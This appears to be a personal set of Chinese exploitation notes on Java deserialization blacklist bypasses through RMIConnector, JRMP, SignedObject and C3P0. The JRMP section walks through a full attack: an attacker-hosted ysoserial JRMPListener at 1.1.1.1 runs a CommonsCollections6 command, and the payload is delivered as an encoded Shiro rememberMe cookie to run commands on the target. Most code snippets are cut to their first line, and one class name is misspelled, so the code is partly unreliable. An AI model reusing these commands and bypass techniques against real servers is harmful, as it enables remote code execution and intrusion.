一些链被黑名单ban了,可以用二次反序列化绕过,比如JRMP
RMIConnector
适用于服务器不出网的情况
链子:
1 | RMIConnector#connect -> |
RMIConnector#findRMIServerJRMP对传入的base64字符串进行了反序列化
这种接收字符串,再进行反序列化的方式,很明显是个二次反序列化的点,能绕过对原始对象的resolveClass黑名单
查找用法仅findRMIServer调用到了
这里调用findRMIServerJRMP需要path以/stub/开头
在connect方法中,如果rmiServer字段为空,,则会调用findRMIServer,而且connect是个public方法
那么以下面的poc就能实现反序列化base64字符串:
1 | JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://"); |
JRMP
JDK<8U241
JRMP打RMI,在ysoserial/exploit中,JRMPClient能利用非RMI服务(如Shiro)开RMI服务,然后用exploit/JRMPLister打RMI服务
特征:
1 | Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); |
Usage:
攻击者先在 vps上用 ysoserial 启一个恶意的 JRMPListener,监听在 19999 端口,并指定使用 CommonsCollections6 模块,要让目标执行的命令为 ping 一个域名:
1 | java -cp ysoserial.jar ysoserial.expeseloit.JRMPListener 19999 CommonsCollections6 "ping cc6.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net" |
然后用 ysoserial 生成 JRMPClient 的序列化 payload,指向上一步监听的地址和端口(假如攻击者服务器 ip 地址为 1.1.1.1):
1 | java -jar ysoserial.jar JRMPClient "1.1.1.1:19999" > /tmp/jrmp.ser |
再用 shiro 编码脚本对 JRMPClient payload 进行编码:
1 | java -jar shiro-exp.jar encrypt /tmp/jrmp.ser |
将最后得到的字符串 Cookie 作为 rememberMe Cookie 的值,发送到目标网站。如果利用成功,则前面指定的 ping 命令会在目标服务器上执行。
适用于出网情况,而且需要jdk<8u231的情况下,用原始的payload,8u241可以绕过,之后就不能打了(没测试过,也许不是?遇到了再来改)
可以用ysoserial生成对应的JRMPClient,不过需要对原始数据进行绕过的话,还是得自己写JRMPClient
1 | import sun.rmi.server.UnicastRef; |
也就是个rmi连接,访问Registry的代码
想办法在目标机器执行这个代码就行
具体请见XStream 1.4.16的rmi打法
SignedObject
SignedObject.getObject能反序列化this.content:
content能在构造函数赋值
适用于嵌套解析的resolveClass黑名单,比如Fastjson>=1.2.49
JSONObject重写的resolveClass,加入checkAutoType验证黑名单
也适用于不能触发readObject而不能初始化TemplatesImpl _tfactory
字段的场景,比如自定义反序列化流程的Hessian、Kryo等
code:
1 | KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); |
然后调用signedObject.getObject
C3P0
漏洞入口位于com.mchange.v2.ser.C3P0ImplUtils.parseUserridesAsString
parseUserridesAsString对传入的参数userOverridesAsString字符串处理如下:
- 从
HASM_HEADER
长度开始,截取到userOverridesAsString的末尾
HASM_HEADER为HexAsciiSerializedMap
- 调用
ByteUtils.fromHexAscii
把截取的十六进制字符串转为二进制 - 调用
SerializableUtils.fromByteArray
反序列化字节码
向parseUserOverridesAsString传参HexAsciiSerializedMap+恶意十六进制字节码
就能二次反序列化